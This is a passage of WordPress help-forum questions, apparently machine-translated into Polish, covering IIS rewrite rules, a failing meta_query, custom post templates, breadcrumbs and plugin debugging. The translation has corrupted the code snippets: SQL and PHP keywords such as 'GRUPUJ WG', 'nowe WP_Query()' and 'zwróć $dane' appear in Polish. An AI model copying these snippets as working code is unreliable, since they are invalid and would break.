'buildarea', 'gen-inf', 'post', 'page') AND (wp_posts. post_status = 'opublikuj' LUB wp_posts.post_author = 1 AND wp_posts.post_status = 'prywatny') GRUPUJ WG wp_posts.ID ZAMÓWIENIE WG wp_posts.post_date LIMIT ZMIANY 0, 10


title: konflikt web.config w usługach IIS

text: struktura folderów docroot |- wordpress |- web.config |- wp-content |- japi |-index.php \- web.config ... ... Jak widać są 2 pliki web.config. Jeden w folderze wordpress i jeden w folderze wordpress/wp-content/japi. **japi/web.config** <rules> <rule name="Imported Rule 1" stopProcessing="true"> <match url="^(.*)$" ignoreCase="false" /> <warunki> < add input="{REQUEST_FILENAME}" matchType="IsFile" ignoreCase="false" negate="true" /> <add input="{REQUEST_FILENAME}" matchType="IsDirectory" ignoreCase="false" negate="true" / > </conditions> <action type="Przepisz" url="index.php?q={R:1}" appendQueryString="true" /> </rule> </rules> Teraz, gdy żądam http:/ /domain.com/wordpress/wp-content/japi/test. Wygląda na to, że japi/web.config jest zaniedbany i rozważany jest tylko wordpress/web.config. Jak mogę to naprawić?


title: Co jest nie tak z tym wp_query?

text: Muszę odpytywać posty za pomocą dwóch meta pól, a wo_query, z którym to robię, nic nie zwraca. Oczywiście jest zepsuty. Czy ktoś może mi powiedzieć, co robię źle? $args = array( 'post_type' => 'espresso_event', 'post_status' => 'publish', 'posts_per_page' => 8, 'category_name' => 'homepage', 'meta_query' => array( array( 'key ' => 'event_start_date', 'value' => date('Y-m-d'), 'compare' => '>=', 'type' => 'DATE' ), array( 'key' => 'event_end_time ', 'value' => date('g:i A'), 'compare' => '>=', 'type' => 'TIME' ) ), 'orderby' => 'meta_value', 'order' => 'ASC' // zmień to na ASC, jeśli chcesz nowsze wydarzenia na górze ); // zapisuje to zapytanie w tymczasowej lokalizacji, więc możemy wrócić do niego później po uruchomieniu naszego zapytania $temp = $wp_query; $wp_query = null; $wp_query = nowe WP_Query(); $wp_query->zapytanie($args); Zapytanie działa bez tej części: array( 'key' => 'event_end_time', 'value' => date('g:i A'), 'compare' => '>=', 'type' => 'TIME ' ) Więc oczywiście problem istnieje, ale nie otrzymuję błędu ani niczego, więc nie widzę, w czym jest problem.


title: Wiele szablonów dla niestandardowego typu postu

text: Jako nowy użytkownik Wordpress stwierdzam, że struktura gotowych szablonów nieco ogranicza elastyczność innych szablonów CMS, z którymi pracowałem. Mówiąc to, wiem, że istnieje wiele obejść i obecnie próbuję je wprowadzić. \-- Jedną z głównych przeszkód, jakie napotykam, jest przepychanie treści w wielu lokalizacjach. Obecnie próbuję wyprowadzić zawartość tego samego typu posta na dwie sekcje lub szablony. Na przykład mam niestandardowy post typu „balony” z postami związanymi z balonami. Chciałbym wyprowadzić te posty do dwóch różnych szablonów / sekcji (w tym przykładzie wersja normalna i wersja mobilna) Struktura adresu URL idealnie reprezentowałaby to: /{post_type}/{post_slug} /ballons/my_red_ballon_post /mobile/ ballons/my_red_ballon_post Jedynym sposobem, w jaki wiem, jak przekierować tę strukturę adresu URL do określonego szablonu, jest użycie stron. Jeśli to możliwe, chciałbym uniknąć wpisu na stronach, ponieważ nie ma treści specyficznej dla strony. \-- Po skonfigurowaniu chciałbym utworzyć stronę z listą wszystkich moich balonów. Chciałbym wiedzieć, czy ta konfiguracja jest taka sama, czy różni się od wyprowadzania określonych postów, jak powyżej. Struktura adresu URL to: /ballons/ /mobile/ballons/ \-- Dziękujemy za poświęcony czas :D \-- paul


title: Zautomatyzuj akapity na stronie posta, aby mieć unikalny link do kotwicy

text: Mam pomysł na linkowanie do akapitu w poście. Działałoby to na każdym akapicie w obrębie `the_content()` na stronach postów z automatycznie umieszczonym przed nim znacznikiem kotwicy, na przykład: `<a href="#p1"></a>` gdzie '1' jest pierwszym akapitem i zwiększałby się o każdy kolejny akapit, np. p2, p3, p4... Ktoś ma ochotę na to, żeby to zrobić, byłoby świetnie? Może coś w functions.php? Dziękuję.


title: Osiągnięto koniec dokumentu bez znalezienia - przy użyciu mod_pagespeed

text: Wielokrotnie otrzymuję ten błąd w moim error.log: [Środa 29 grudnia 13:46:37 2010] [Błąd] [mod_pagespeed 0.9.11.5-293] http://marcandkatie.co.za/index.php:1 : Osiągnięto koniec dokumentu bez znalezienia <body> I wydaje mi się, że spowodowało to, że moja witryna zrobiła to, gdy przechodzę do administratora: Błąd krytyczny: wyczerpano dozwolony rozmiar pamięci 134217728 bajtów (próbowałem przydzielić 4666733 bajty) w /home/marc_and_katie/marcandkatie .co.za/wp-includes/wp-db.php w wierszu 849 Jakieś myśli?


title: Obrazy ulegają automatycznemu uszkodzeniu

text: Zmieniłem motyw mojego bloga, ale kiedy otworzyłem bloga, zobaczyłem, że miniatura postów (polecany obraz) się nie wyświetla. Wróciłem do mojego starego motywu, ale obrazy nadal są uszkodzone. Jednak kiedy otwieram moje posty, każdy obraz jest tam doskonale widoczny. Nie mogę również przesłać nowego obrazu z mojej sekcji mediów, ponieważ po przesłaniu automatycznie ulega on uszkodzeniu. Mój blog to http://mytechflow.com Plz, pomóż mi guyz.


title: Jak zachować wizualną bułkę tartą z trudną strukturą adresu URL? Niestandardowy szablon posta?

text: Tworzę witrynę z recenzjami z wieloma różnymi kategoriami. Oto, jak kształtuje się struktura witryny: * backtoschool.com * backtoschool.com/reviews/ * backtoschool.com/reviews/calculators * backtoschool.com/reviews/mechanical-pencils * backtoschool.com/blog/ * etc I staram się zachować wizualną hierarchię nawigacji w witrynie, np. użytkownicy na „backtoschool.com/reviews/calculators” powinni łatwo zobaczyć, że przeglądają podsekcję Kalkulatory w sekcji Recenzje. Oto gdzie przyprawia mnie o ból głowy. Problem polega na tym, że chcę, aby mój indywidualny kalkulator i inne recenzje znajdowały się w katalogu głównym, np. kiedy użytkownicy na stronie „website.com/reviews/calculators” klikną łącze do mojej recenzji TI-83, powinni zostać przeniesieni na „website.com/texas-instruments-ti-83-review”, a NIE „website.com/ recenzje/kalkulatory/texas-instruments-ti-83-recenzja". To sprawia, że jestem zdezorientowany, jak mogę zachować logiczną strukturę okruszka (mówiąc wizualnie). Myślałem, że mógłbym napisać jakiś rodzaj instrukcji IF/THEN być może w single.php. Może mógłbym napisać coś w stylu JEŻELI post kategoria=kalkulator-przegląd, NASTĘPNIE załadować kalkulator-recenzja.css I napisać wskaźniki nawigacyjne, czyli „Wszystkie recenzje --> Kalkulatory” do kodu HTML tuż pod główną nawigacją. Na kalkulatorze-review.css stworzyłbym style, które kontrastowałyby z główną sekcją "Recenzje" nawigacji, a poniżej kontrastowałyby z "Kalkulatorami" umieszczonymi w napisanym w PHP breadcrumb. LUB - i tu eksploduje moja głowa. Czy powinienem zamiast tego utworzyć niestandardowy szablon posta, taki jak kalkulator-reviews.php dla sekcji recenzji, a następnie po prostu użyć odpowiedniego szablonu posta dla każdej indywidualnej recenzji? Wydaje się to łatwiejsze, ale lubię ograniczać liczbę wtyczek do minimum. Byłbym bardzo wdzięczny za twoją pomoc! **EDYTUJ dla jasności:** „backtoschool.com/reviews/” to strona zawierająca listę typów recenzji, np. kalkulatory, długopisy itp. "backtoschool.com/reviews/calculators" to Strona zawierająca listę indywidualnych recenzji kalkulatorów, czyli Postów znajdujących się w domenie głównej, np. „backtoschool.com/ti-83-review”. Te posty z recenzjami będą musiały zostać jakoś oznaczone, aby pętla WP mogła pobrać wszystkie posty kalkulatora i wyświetlić ich fragment (niektóre z nich) na stronie „backtoschool.com/reviews/calculators/”. Wpisy z recenzjami będą również musiały wyświetlać okruszki z linkami prowadzącymi do, na przykład, „backtoschool.com/reviews/” i „backtoschool.com/reviews/calculators”, JEŚLI i TYLKO, jeśli użytkownik przegląda wpis recenzji na kalkulatorze. **Edytuj 2:** http://www.touchmyapps.com/category/review/ ^^Ta strona jest bardzo zbliżona do tego, co chcę, aby moja zrobiła wrt URL i bułka tarta


title: Tworzenie listy elementów biblioteki multimediów sklasyfikowanych w ramach określonej pozycji taksonomii

text: Stworzyłem niestandardową taksonomię o nazwie „Typ referencyjny”, która służy do kategoryzowania elementów biblioteki multimediów. Na stronie taxonomy.php chcę utworzyć listę wszystkich elementów biblioteki multimediów, które są podzielone na kategorie w ramach „Typ referencyjny”. Jak bym to zrobił?


title: Wyjście debugowania podczas wykonywania filtra nie działa

text: Pracuję nad moją pierwszą wtyczką do Wordpress i pracuję nad pierwszym niestandardowym typem postu. Chcę udostępnić dane wyjściowe debugowania, aby zobaczyć, z jakimi danymi mam pracować. Mam następujący kod (niektóre wycięto dla rozmiaru): class MyPlugin_Admin { ... SNIP ... private function __construct() { ... SNIP ... add_filter( 'wp_insert_post_data', array($this, 'adjust_cpt_data') , 10, 2); } funkcja publiczna adjust_cpt_data($dane, $postarr) { var_dump($dane); Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; Echo "###########################################"; //d($dane); //dd($postarr); zwróć $dane; } ... SNIP ... } Próbowałem używać wszystkich rodzajów różnych wyjść. Funkcje d() i dd() pochodzą z paska debugowania i debugera Kint. One też nie działają. Jeśli dodam trochę kodu debugującego bezpośrednio pod add_filter(), który działa poprawnie, ale nie wewnątrz adjust_cpt_data(). W tej funkcji nie mogę nic zrobić, aby wyprowadzić dane na ekran. Udało mi się zweryfikować, czy ten kod jest uruchomiony, ponieważ jeśli usunę "return $data;" wiersz, niestandardowe dane postu nie są poprawnie aktualizowane, po prostu odświeżają się starymi danymi. Poproś kogoś, aby wyjaśnił, dlaczego tak jest i jak mogę wydrukować na ekranie wyniki debugowania. Na marginesie, zdaję sobie sprawę, że mogę uzyskać zawartość $data i $postarr, patrząc na WP Codex, ale nieuchronnie napotkam ten problem ponownie, gdy będę musiał debugować własny kod.